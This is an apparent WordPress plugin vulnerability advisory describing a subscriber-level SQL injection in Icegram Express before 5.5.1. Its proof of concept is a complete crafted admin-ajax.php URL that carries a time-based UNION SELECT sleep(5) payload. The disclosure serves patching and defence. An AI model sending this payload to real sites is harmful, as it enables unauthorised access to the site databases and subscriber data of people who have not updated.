WordPress Plugin Vulnerabilities

Icegram Express < 5.5.1 - Subscriber+ SQLi

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by any authenticated users, such as subscriber

Proof of Concept

Open the below URL when logged in as a subscriber and notice the 5s delay

https://example.com/wp-admin/admin-ajax.php?action=count_contacts_by_list&get_count=yes&list_id=1&conditions[]=3&status[]=\&status[]=)%20%20UNION%20SELECT%20sleep(5)%20UNION%20SELECT%20COUNT(DISTINCT%20subscribers.id)%20FROM%20wp_ig_contacts%20AS%20subscribers%20LEFT%20JOIN%20wp_ig_lists_contacts%20AS%20lists_subscribers%20ON%20subscribers.id%20=%20lists_subscribers.contact_id%20WHERE%201=1%20AND%20lists_subscribers.status%20IN(1)%20--%20g